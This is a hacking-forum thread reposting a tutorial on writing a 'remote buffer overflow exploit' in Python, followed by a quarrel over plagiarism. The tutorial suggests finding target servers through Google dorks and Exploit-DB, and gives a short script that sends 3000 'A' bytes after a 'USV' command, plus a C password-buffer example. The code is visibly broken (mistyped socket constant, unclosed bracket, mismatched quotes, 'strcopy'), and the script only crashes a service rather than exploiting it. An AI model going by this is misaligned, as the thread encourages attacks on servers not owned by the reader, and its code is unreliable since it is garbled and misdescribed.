Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Remote Buffer Overflow Exploit With Python

Hello, this time we are coding a Remote Buffer Overflow Exploit with Python that works with TCP only.

You are going to need:
  • Python 3.4
  • Internet Connection
  • A vulnerable server
  • Computer with Windows or Linux

If you haven't got installed Python yet, download it from the following link:

https://www.python.org/downloads/

You can find some of the Python basics in this previous tutorial at http://www.hacking-tutorial.com/hacking-...th-python/

Step by Step Coding Remote Buffer Overflow Exploit with Python:
1. Finding a server for testing
This is more complicated. Try searching for dorks at GHDB (https://www.exploit-db.com/google-hacking-database/) or for vulnerable software at Exploit-DB (https://www.exploit-db.com).

2. Coding
Coding is the easy part. Begin from importing sys and socket, then, write the following code:

Code
for carg in sys.argv:

            if carg == "-s":

                        argnum = sys.argv.index(carg)

                        argnum += 1

                        host = sys.argv[argnum]

            elif carg == "-p":

                        argnum = sys.argv.index(carg)

                        argnum += 1

                        port = sys.argv[argnum[

buffer = "\x41"* 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)

s.connect((host,port))

s.send("USV " + buffer + "//r//n//r”)

s.close()

Code should look like this:
[Image: buffer_overflow_exp1.jpg]

Now, lets analyze the code. We already know the argument indentification script from my previous tutorial. The second line makes a buffer, that is \x41 multiplied 3000 times. Then we see the lines of declaring s as socket, connecting with it, sending the buffer and closing the socket. Looks pretty hard, but it isnt.

After you have done these steps above, its time to test out our script!

[Image: buffer_overflow_exp2.jpg]

As we see, the script work really great. I have tested it on one of my servers with vulnerable software. Good luck on h4x1ng!

How to avoid RBO

This depends on programming language. As example, on C, you can be vulnerable to remote buffer overflow if you use code like this:
Code
int authed = 0;
char password_buffer[16];
strcopy(password_buffer, your_password)
if (strcmp(password_buffer, password) == 0) {
            authed = 1;
}
else {
            authed = 0;
}

So, once the your_password is over 16, you can implement auth overflow, or if there are even more, you can get buffer overflow with segmentation fault error.

So, as I have already mentioned, in various cases, the solution differs.

Credits: Vilius Povilaika
www.hacking-tutorial.com
https://www.hacking-tutorial.com/hacking...th-python/

really dude? straight stole the entire tutorial and reposted it?
(Aug 4, 2019 08:39 AM)int Wrote:  https://www.hacking-tutorial.com/hacking...th-python/

really dude? straight stole the entire tutorial and reposted it?

Credits to the original creator (not just the site where it's posted on) are in the thread and have been way before you posted that link, i didn't stole anything i simply shared a tutorial with giving credits to the original creator, the tutorial wasn't present on HF yet and lets not forget int that this is a Forum board, i'm not selling anything i'm simply sharing knowledge, main reason why forums exist.
If i was selling this and hiding where it came from then yes your reply would have been fair but that aint the case, use your brain, you got one.

I simply noticed knowledge that wasn't present on this forum board yet and i also noticed that you get rewarded for sharing knowledge and so i did.
Credits to the original creator are in the thread.

PS. The freaking domain is in all the images aswell and links to the original creator and the tutorial are aswell so don't act as if it costed you effort to find that link unless it realy did cost you effort but then you shouldn't be here lol.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SkidsuperMay 21, 2024 02:11 AM 0 135 May 21, 2024 02:11 AM
Last Post: Skidsuper
by Decryption/CriticalFeb 14, 2024 08:09 AM 1 149 Feb 14, 2024 08:09 AM
Last Post: DramaKing
by Virg0sJul 24, 2022 01:38 AM 1 219 Jul 24, 2022 01:38 AM
Last Post: happy8829